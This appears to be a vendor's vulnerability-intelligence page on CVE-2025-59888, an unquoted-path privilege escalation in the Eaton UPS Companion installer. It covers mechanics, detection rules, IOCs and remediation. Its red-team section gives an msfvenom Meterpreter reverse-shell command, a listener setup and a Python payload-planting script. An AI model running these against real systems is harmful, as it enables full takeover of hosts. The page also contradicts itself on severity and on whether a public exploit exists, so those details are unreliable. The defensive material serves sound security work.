☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.7 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-428
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-59888

CVE-2025-59888 Code Execution in Eaton
📅 PUBLISHED: 2025-12-26 06:53 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1574
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.7
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
6.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-59888 is a high-severity (CVSS 6.7) local privilege escalation vulnerability in the Eaton UPS Companion (EUC) software installer. The vulnerability stems from improper quotation in search paths (CWE-428), which allows an attacker with file system access to execute arbitrary code by placing a malicious executable in a path that the installer searches before the intended location. This is a classic unquoted service path vulnerability, but in the context of an installer, it can lead to arbitrary code execution during installation or update processes. The vendor has released a fix in the latest version of EUC, available on the Eaton download center. No public proof-of-concept (PoC) or exploit code has been identified at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a software installer vulnerability for a Windows-based application (Eaton UPS Companion). The risk is primarily to end-user systems where the installer is executed, not to software supply chain components.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.7 (Medium)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Local (L) – The attacker must have local access to the system.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – The attacker needs low privileges (e.g., standard user).
  • User Interaction (UI): None (N) – No user action required beyond the attacker's own actions.
  • Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Full system modification possible.
  • Availability (A): High (H) – Full denial of service possible.

Threat Level: Medium. While the CVSS score is 6.7, the requirement for local access and low privileges reduces the immediate threat. However, in enterprise environments where users have local admin rights or where the installer is deployed via group policy, the impact can be significant.

Deep Dive & Mechanics

The vulnerability is a classic unquoted service path issue (CWE-428) applied to the installer's search paths. When the Eaton UPS Companion installer is executed, it searches for certain files (e.g., DLLs, executables) in a specific order. If the path to these files contains spaces and is not enclosed in quotation marks, Windows will interpret each space-separated segment as a potential executable.

For example, if the installer attempts to execute a file located at C:\Program Files\Eaton\UPS Companion\installer.exe, and the path is not quoted, Windows will first try to execute C:\Program.exe, then C:\Program Files\Eaton\UPS.exe, and so on. An attacker with write access to any of these intermediate directories (e.g., C:\Program Files\Eaton\) can place a malicious executable named UPS.exe (or similar) that will be executed with the privileges of the installer (typically SYSTEM or high-integrity).

The attack flow:

  1. Attacker gains low-privilege access to the target system.
  2. Attacker identifies a writable directory that is part of an unquoted search path used by the Eaton installer.
  3. Attacker places a malicious executable (e.g., UPS.exe) in that directory.
  4. The Eaton installer is triggered (either by the user or via a scheduled task/update).
  5. Windows resolves the unquoted path, finds the malicious executable, and executes it with elevated privileges.
  6. The attacker's code runs with high integrity, allowing full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The installer likely uses a command like:

CreateProcess("C:\Program Files\Eaton\UPS Companion\installer.exe", ...)

or a similar API call without quoting the path. This is a common mistake in installer scripts or custom code.

Patched Code (Conceptual): The fix involves properly quoting the path:

CreateProcess("\"C:\Program Files\Eaton\UPS Companion\installer.exe\"", ...)

or using a path without spaces (e.g., C:\Eaton\UPSCompanion\installer.exe).

Since no specific code is provided, this is a best-practice remediation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Local access to a Windows system with low privileges (e.g., standard user).
  • The Eaton UPS Companion installer (vulnerable version) must be present or scheduled to run.
  • Write access to a directory in the unquoted path (e.g., C:\Program Files\Eaton\).

Exploitation Steps:

  1. Identify the vulnerable path: Use Process Monitor (Procmon) or a simple script to find unquoted paths in the installer's execution.

  2. Create a malicious executable: Generate a payload that escalates privileges or creates a backdoor. Example using msfvenom:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o UPS.exe
    
  3. Place the payload: Copy UPS.exe to the writable directory (e.g., C:\Program Files\Eaton\).

  4. Trigger the installer: Either wait for the user to run the installer or trigger it via a scheduled task (if one exists).

  5. Receive the shell:

    msfconsole -q
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit
    

Automated Exploit (Conceptual):

import os
import shutil

# Assuming the vulnerable path is C:\Program Files\Eaton\UPS Companion\
# and the attacker has write access to C:\Program Files\Eaton\
payload_path = "C:\\Program Files\\Eaton\\UPS.exe"
malicious_exe = "payload.exe"  # Your compiled payload

if os.access("C:\\Program Files\\Eaton\\", os.W_OK):
    shutil.copy(malicious_exe, payload_path)
    print("Payload placed. Waiting for installer execution...")
else:
    print("No write access to target directory.")

Blue Team (Detection & Defense)

Detection:

  • Monitor for file creation events in C:\Program Files\Eaton\ and subdirectories.
  • Alert on any executable named UPS.exe, Companion.exe, or similar that is not the legitimate Eaton binary.
  • Use Sysmon Event ID 1 (Process Creation) to detect execution of binaries from unusual paths.

Defense:

  • Apply the latest Eaton UPS Companion patch immediately.
  • Restrict write permissions to C:\Program Files\ and subdirectories for standard users.
  • Use Application Control (e.g., AppLocker, WDAC) to block execution from non-standard paths.
  • Enable Windows Defender Exploit Guard to mitigate unquoted path attacks.

Indicators of Compromise (IOCs)

Type Indicator Description
File C:\Program Files\Eaton\UPS.exe Malicious executable placed in the unquoted path
File C:\Program Files\Eaton\Companion.exe Alternative malicious executable name
Process UPS.exe (from non-standard path) Execution of a binary named UPS.exe from a directory other than the legitimate installer
Registry HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Eaton UPS Companion Modified installer path
Network Outbound connection to attacker IP on port 4444 (or other) Reverse shell from malicious payload

Detection Engineering

YARA Rule

rule CVE_2025_59888_Eaton_Unquoted_Path
{
    meta:
        description = "Detects malicious executables placed in Eaton UPS Companion unquoted path"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59888"
        hash = "unknown"

    strings:
        $s1 = "UPS.exe" nocase
        $s2 = "Companion.exe" nocase
        $s3 = "C:\\Program Files\\Eaton\\" nocase

    condition:
        (uint16(0) == 0x5A4D) and  // MZ header
        (($s1 or $s2) and $s3)
}

Sigma Rule

title: CVE-2025-59888 - Eaton UPS Companion Unquoted Path Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of binaries from the Eaton UPS Companion unquoted path
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59888
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\UPS.exe'
            - '\Companion.exe'
        Image|startswith:
            - 'C:\Program Files\Eaton\'
    filter:
        Image|contains:
            - 'C:\Program Files\Eaton\UPS Companion\'
    condition: selection and not filter
falsepositives:
    - Legitimate Eaton updates if placed in the wrong directory
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-59888 - Eaton UPS Companion Potential C2 Beacon"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; offset:0; classtype:trojan-activity; sid:1000001; rev:1;)

Note: This is a generic C2 detection rule. For specific exploitation, monitor for outbound connections from processes named UPS.exe or Companion.exe.

Remediation & Mitigation

Immediate Actions:

  1. Patch: Download and install the latest version of Eaton UPS Companion from the Eaton download center.
  2. Verify: After patching, check that the installer path is properly quoted (e.g., using Process Monitor).
  3. Restrict Permissions: Ensure standard users do not have write access to C:\Program Files\Eaton\ or any subdirectories.

Long-Term Mitigations:

  • Implement Application Control (AppLocker, WDAC) to only allow execution from trusted paths.
  • Use Group Policy to enforce strict file system permissions.
  • Regularly audit software installers for unquoted path vulnerabilities.
  • Monitor for CVE-2025-59888 related IOCs using the provided detection rules.

Workaround (if patching is not immediately possible):

  • Manually quote the path in the installer's configuration or script (if accessible).
  • Remove write permissions for non-admin users on all directories in the search path.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Eaton UPS Companion installer
Eaton EUC setup

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-59888/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.